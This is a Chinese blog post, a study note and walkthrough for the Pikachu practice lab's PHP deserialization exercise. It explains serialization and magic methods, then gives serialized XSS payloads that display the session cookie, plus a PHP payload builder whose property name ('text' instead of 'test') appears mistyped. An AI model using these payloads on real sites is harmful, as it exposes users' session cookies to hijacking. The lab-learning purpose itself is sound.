大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
今天更新的是:
- P7 PikaChu_PHP反序列化
- 往期检索:程序设计学习笔记——目录
创建时间:2021年3月23日
软件: MindMaster Pro 、Burp Suite Pro 、火狐浏览器
前言
- 首先我们要理解什么叫做序列化和反序列化
- 序列化(serialize):是将变量或对象转换成字符串的过程。从而达到传输和存储的目的。
- 反序列化(unserialize):是将字符串转换成变量或对象的过程。以便被代码处理。
序列化:serialize( ) 函数
class S{
public $test="pikachu";
}
$s=new S(); //创建一个对象
serialize($s); //把这个对象进行序列化
序列化后得到的结果是这个样子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
O:代表object
1:代表类名字长度
S:对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
test:变量名称
s:数据类型
7:变量值的长度
pikachu:变量值
- 举个例子:
<?php
class man{
public $name;
public $age;
public $height;
function __construct($name,$age,$height){ //_construct:创建对象时初始化
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man=new man("Bob",5,20);
var_dump(serialize($man));
?>
反序列化unserialize( ) 函数
<?php
class man{
public $name;
public $age;
public $height;
function __construct($name,$age,$height){
$this->name = $name;
$this->age = $age;
$this->height = $height;
}
}
$man= 'O:3:"man":3:{s:4:"name";s:3:"Bob";s:3:"age";i:5;s:6:"height";i:20;}';
var_dump(unserialize($man));
?>
- 序列化和反序列化本身没有问题,但是如果反序列化的内容是用户可以控制的,且后台不正当的使用了PHP中的魔法函数,就会导致安全问题。
- 魔幻函数:
_construct():创建对象时初始化,不会自动调用
_destruction():结束时销毁对象
_toString():对象被当作字符串时使用
_sleep():序列化对象之前调用
_wakeup():执行unserialize()时,先会调用这个函数,然后再进行反序列化
_call():调用对象不存在时使用
_get():调用私有属性时使用
漏洞分析
- 尝试用概述中提供的payload尝试一下:
O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}
- 我们可以尝试着利用XSS,使其返回
cookie
重新构建payload - 返回cookie的XSS :
<script>alert(document.cookie)</script>
- 反序列化之后的payload:
O:1:"S":1:{s:4:"test";s:39:"<script>alert(document.cookie)</script>";}
- 返回的
cookie
:PHPSESSID=uvq34mi9eqnctpg6chmjb6crl6
- 用代码构造payload、创建以下内容的文件,放在www目录下(当然如果直接把xss payload写到类定义里面也可以)
<?php
class S{
var $test = "pikachu";
}
$s = new S();
$payload="<script>alert(document.cookie)</script>";
$s->text=$payload;
echo serialize($s);
?>
文章参考
各位路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。
每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
把握现在 ,展望未来 ,加油 !
由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !